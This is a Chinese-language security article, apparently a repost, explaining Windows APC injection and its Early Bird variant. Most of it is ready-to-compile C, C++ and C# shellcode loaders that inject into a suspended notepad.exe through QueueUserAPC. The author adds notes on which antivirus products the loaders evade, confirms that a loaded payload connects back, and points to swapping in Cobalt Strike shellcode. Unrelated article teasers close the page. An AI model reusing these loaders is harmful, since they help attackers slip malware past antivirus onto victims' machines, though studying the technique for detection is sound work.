<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    APC注入以及幾種實現方式

    VSole2022-12-15 11:02:08

    APC介紹

    APC中文名稱為異步過程調用, APC是一個鏈狀的數據結構,可以讓一個線程在其本應該的執行步驟前執行其他代碼,每個線程都維護這一個APC鏈。當線程從等待狀態蘇醒后,會自動檢測自己得APC隊列中是否存在APC過程。所以只需要將目標進程的線程的APC隊列里面添加APC過程,當然為了提高命中率可以向進程的所有線程中添加APC過程。然后促使線程從休眠中恢復就可以實現APC注入。

    APC注入的一些前置如下:

    • 線程在進程內執行
    • 線程會調用在APC隊列中的函數
    • 應用可以給特定線程的APC隊列壓入函數(有權限控制)
    • 壓入隊列后,線程將按照順序優先級執行(FIFO)
    • 這種注入技術的缺點是只有當線程處在alertable狀態時才去執行這些APC函數

    MSDN上對此解釋如下

    QueueUserApc: 函數作用,添加制定的異步函數調用(回調函數)到執行的線程的APC隊列中

    APCproc: 函數作用: 回調函數的寫法.

    首先異步函數調用的原理:

    異步過程調用是一種能在特定線程環境中異步執行的系統機制。

    往線程APC隊列添加APC,系統會產生一個軟中斷。在線程下一次被調度的時候,就會執行APC函數,APC有兩種形式,由系統產生的APC稱為內核模式APC,由應用程序產生的APC被稱為用戶模式APC

    APC 注入

    簡單原理

    1.當對面程序執行到某一個上面的等待函數的時候,系統會產生一個中斷

    2.當線程喚醒的時候,這個線程會優先去Apc隊列中調用回調函數

    3.我們利用QueueUserApc,往這個隊列中插入一個回調

    4.插入回調的時候,把插入的回調地址改為LoadLibrary,插入的參數我們使用VirtualAllocEx申請內存,并且寫入進去

    注入流程

    QueueUserAPC函數的第一個參數表示執行的函數地址,當開始執行該APC的時候,程序就會跳轉到該函數地址執行。第二個參數表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數表示傳遞給執行函數的參數。與遠線程注入類似,如果QueueUserAPC函數的第一個參數,即函數地址設置的是LoadLibraryA函數地址,第三個參數,即傳遞參數設置的是DLL的路徑。那么,當執行APC的時候,便會調用LoadLibraryA函數加載指定路徑的DLL,完成DLL注入操作。如果直接傳入shellcode不設置第三個函數,可以直接執行shellcode。

    APC注入實現

    函數原型

    DWORD QueueUserAPC(
      [in] PAPCFUNC  pfnAPC,     //APC 注入方式
      [in] HANDLE    hThread,     
      [in] ULONG_PTR dwData);
    

    C++ 實現

    代碼如下

    #include #include unsigned char shellcode[] = "";    //shellcode "\xfc\x48\x83\xe4"int main(){
        LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";   //path
        SIZE_T buff = sizeof(shellcode);      //size of shellcode
        STARTUPINFOA sInfo = { 0 };
        PROCESS_INFORMATION pInfo = { 0 };     //return a new process info
        CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);      //create a new thread for process
        HANDLE hProc = pInfo.hProcess;
        HANDLE hThread = pInfo.hThread;    
        // write shellcode to the process memory
        LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
        WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);
        // use QueueUserAPC  load shellcode
        QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
        ResumeThread(hThread);
        return 0;}
    

    C#實現

    代碼如下

    using System;using System.Runtime.InteropServices;
     public class shellcode
     { [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData); [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern uint ResumeThread(IntPtr hThread); [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
     public static extern bool CloseHandle(IntPtr hObject); [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
     public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
     public enum ProcessAccessRights
     {
     All = 0x001F0FFF,
     Terminate = 0x00000001,
     CreateThread = 0x00000002,
     VirtualMemoryOperation = 0x00000008,
     VirtualMemoryRead = 0x00000010,
     VirtualMemoryWrite = 0x00000020,
     DuplicateHandle = 0x00000040,
     CreateProcess = 0x000000080,
     SetQuota = 0x00000100,
     SetInformation = 0x00000200,
     QueryInformation = 0x00000400,
     QueryLimitedInformation = 0x00001000,
     Synchronize = 0x00100000
     }
     public enum ThreadAccess : int
     {
     TERMINATE = (0x0001),
     SUSPEND_RESUME = (0x0002),
     GET_CONTEXT = (0x0008),
     SET_CONTEXT = (0x0010),
     SET_INFORMATION = (0x0020),
     QUERY_INFORMATION = (0x0040),
     SET_THREAD_TOKEN = (0x0080),
     IMPERSONATE = (0x0100),
     DIRECT_IMPERSONATION = (0x0200),
     THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
     THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
     }
     public enum MemAllocation
     {
     MEM_COMMIT = 0x00001000,
     MEM_RESERVE = 0x00002000,
     MEM_RESET = 0x00080000,
     MEM_RESET_UNDO = 0x1000000,
     SecCommit = 0x08000000
     }
     public enum MemProtect
     {
     PAGE_EXECUTE = 0x10,
     PAGE_EXECUTE_READ = 0x20,
     PAGE_EXECUTE_READWRITE = 0x40,
     PAGE_EXECUTE_WRITECOPY = 0x80,
     PAGE_NOACCESS = 0x01,
     PAGE_READONLY = 0x02,
     PAGE_READWRITE = 0x04,
     PAGE_WRITECOPY = 0x08,
     PAGE_TARGETS_INVALID = 0x40000000,
     PAGE_TARGETS_NO_UPDATE = 0x40000000,
     } [StructLayout(LayoutKind.Sequential)]
     public struct PROCESS_INFORMATION
     {
     public IntPtr hProcess;
     public IntPtr hThread;
     public int dwProcessId;
     public int dwThreadId;
     } [StructLayout(LayoutKind.Sequential)]
     internal struct PROCESS_BASIC_INFORMATION
     {
     public IntPtr Reserved1;
     public IntPtr PebAddress;
     public IntPtr Reserved2;
     public IntPtr Reserved3;
     public IntPtr UniquePid;
     public IntPtr MoreReserved;
     } [StructLayout(LayoutKind.Sequential)]
     //internal struct STARTUPINFO
     public struct STARTUPINFO
     {
     uint cb;
     IntPtr lpReserved;
     IntPtr lpDesktop;
     IntPtr lpTitle;
     uint dwX;
     uint dwY;
     uint dwXSize;
     uint dwYSize;
     uint dwXCountChars;
     uint dwYCountChars;
     uint dwFillAttributes;
     public uint dwFlags;
     public ushort wShowWindow;
     ushort cbReserved;
     IntPtr lpReserved2;
     IntPtr hStdInput;
     IntPtr hStdOutput;
     IntPtr hStdErr;
     }
     public static PROCESS_INFORMATION StartProcess(string binaryPath)
     {
     uint flags = 0x00000004;
     STARTUPINFO startInfo = new STARTUPINFO();
     PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
     CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
     return procInfo;
     }
     public TestClass()
     {
     string b64 = ""; //shellcode base64 encode
     string targetprocess = "C:/Windows/System32/notepad.exe";
     byte[] shellcode = new byte[] { };
     shellcode = Convert.FromBase64String(b64);
     uint lpNumberOfBytesWritten = 0;
     PROCESS_INFORMATION processInfo = StartProcess(targetprocess);
     IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
     //write shellcode to the process memory
     IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
     if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
     {
     IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
     IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
     ResumeThread(tHandle);
     }
     bool hOpenProcessClose = CloseHandle(pHandle);
     }
     }
    

    這里測試過了火絨但是沒過360

    C實現

    代碼如下

    #include #include unsigned char shellcode[] = <shellcode>;   //shellcode   {0xfc,0x48,0x83}unsigned int buff = sizeof(shellcode);int main(void) {
     STARTUPINFO si;
     PROCESS_INFORMATION pi;
     void * ptApcRoutine;
     ZeroMemory(&si, sizeof(si));
     si.cb = sizeof(si);
     ZeroMemory(&pi, sizeof(pi));
     CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);
     ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);
     WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);
     QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);
     ResumeThread(pi.hThread);
     return 0;}
    

    這里被360殺了,但是加載是能上線的。

    APC 注入變種 Early bird

    Early Bird是一種簡單而強大的技術,Early Bird本質上是一種APC注入與線程劫持的變體,由于線程初始化時會調用ntdll未導出函數NtTestAlertNtTestAlert是一個檢查當前線程的 APC 隊列的函數,如果有任何排隊作業,它會清空隊列。當線程啟動時,NtTestAlert會在執行任何操作之前被調用。因此,如果在線程的開始狀態下對APC進行操作,就可以完美的執行shellcode。(如果要將shellcode注入本地進程,則可以APC到當前線程并調用NtTestAlert函數來執行)

    通常使用的 Windows 函數包括:

    • CreateProcessA :此函數用于創建新進程及其主線程。
    • VirtualAllocEx :在指定進程的虛擬空間保留或提交內存區域
    • WriteProcessMemory :將數據寫入指定進程的內存區域。
    • QueueUserAPC :允許將 APC 對象添加到指定線程的 APC 隊列中。

    Early bird注入流程

    • 1.創建一個掛起的進程(通常是windows的合法進程)
    • 2.在掛起的進程內申請一塊可讀可寫可執行的內存空間
    • 3.往申請的空間內寫入shellcode
    • 4.將APC插入到該進程的主線程
    • 5.恢復掛起進程的線程

    Early bird注入實現

    C實現

    代碼如下

    #include int main() {
     unsigned char shellcode[] = ""; //shellcode  "\xfc\x48\x83\xe4"
     SIZE_T shellSz = sizeof(buff);
     STARTUPINFOA st = { 0 };
     PROCESS_INFORMATION prt = { 0 };
     CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);
     HANDLE victimProcess = prt.hProcess;
     HANDLE threadHandle = prt.hThread;
     LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
     PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;
     WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);
     QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
     ResumeThread(threadHandle);
     return 0;}
    

    C++實現

    代碼如下

    #include int main(){
        unsigned char shellcode[] = "";    //"\xfc\x48\x83\xe4"
        SIZE_T shellSize = sizeof(buf);
        STARTUPINFOA si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        HANDLE victimProcess = pi.hProcess;
        HANDLE threadHandle = pi.hThread;
        LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
        WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        ResumeThread(threadHandle);
        return 0;}
    

    Go實現

    參考項目:https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/EarlyBird

    將其中的shellcode替換成CS的shellcode即可

    編譯之后運行上線

    參考

    https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc?redirectedfrom=MSDN

    http://subt0x10.blogspot.com/2017/01/shellcode-injection-via-queueuserapc.html

    https://www.cnblogs.com/iBinary/p/7574055.html

    https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection

    https://idiotc4t.com/code-and-dll-process-injection/early-bird

    線程本地線程
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Java線程安全:狹義地認為是多線程之間共享數據的訪問。 Java語言中各種操作共享的數據有5種類型:不可變、絕對線程安全、相對線程安全、線程兼容、線程獨立
    x32TLS回調函數實驗
    2023-05-31 09:34:55
    TLS回調函數介紹TLS回調函數是在程序運行時由操作系統自動調用的一組函數,用于在進程加載和卸載時執行一些初始化和清理操作。在TLS回調函數中,可以訪問當前線程的TLS數據,并對其進行修改或檢查。值得一提的是TLS回調可以用來反調試,原理實為在實際的入口點代碼執行之前執行檢測調試器代碼。為了棧平衡,我們要把傳進這個回調函數的參數所占用的
    在2020年夏季,我們發現了一個未知的多模塊C ++工具集,該工具集可用于可追溯到2018年的針對性強的工業間諜攻擊。最初,我們對該惡意軟件感興趣的原因是其稀有性,該活動的明顯針對性以及存在在代碼,基礎架構或TTP...
    堆區分為兩大區:Young區和Old區,又稱新生代和老年代。在不同的JVM實現及不同的回收機制中,堆內存的劃分方式是不一樣的。相對于基于寄存器的運行環境來說,JVM是基于棧結構的運行環境。在活動線程中,只有位于棧頂的幀才是有效的,稱為當前棧幀。正在執行的方法稱為當前方法,棧幀是方法運行的基本結構。在執行引擎運行時,所有指令都只能針對當前棧幀進行操作。而StackOverflowError表示請求的棧溢出,導致內存耗盡,通常出現在遞歸方法中。
    Carbon Black的安全研究人員在周三的一份報告中說,一種名為Conti的勒索病毒正在使用多達32個并行CPU線程來對受感染計算機上的文件進行加密,以達到極快的加密速度。Conti只是今年發現的一系列勒索軟件中最新的一種。安全研究人員于今年 2 月初首次發現了Conti開發人員,但是Carbon Black現在報道其TAU 發現了Conti感染。Carbon Black的TAU在周三發布的技術報告中說,在分析Conti代碼時突出的項目是對多線程操作的支持。
    AppInfo是一個本地RPC服務,其接口ID為201ef99a-7fa0-444c-9399-19ba84f12a1a,AppInfo 是 UAC 提升的關鍵。ShellExecuteEx()通過 RPC 調用將所有提升請求轉發到 AppInfo NT 服務。
    先看一個小例子,明白如何創建一個 Caffeine 緩存實例。因為如果提前能預估緩存的使用大小,那么可以設置緩存的初始容量,以免緩存不斷地進行擴容,致使效率不高。
    APT 攻擊(Advanced Persistend Thread,高級持續性威脅)是利用先進的攻擊手段對特定的目標進行長期持續性網絡攻擊的攻擊形式。APT 攻擊形式相對于其他攻擊形式更為高級和先進,其高級性主要體現在精準的信息收集、高度的隱蔽性以及針對于各種復雜系統或應用程序的漏洞利用等方面。
    Windows SMB Ghost CVE-2020-0796漏洞分析與利用(二)
    Java 8 的內存結構
    2022-03-10 14:37:13
    java8內存結構圖虛擬機內存與本地內存的區別Java虛擬機在執行的時候會把管理的內存分配成不同的區域,這些
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类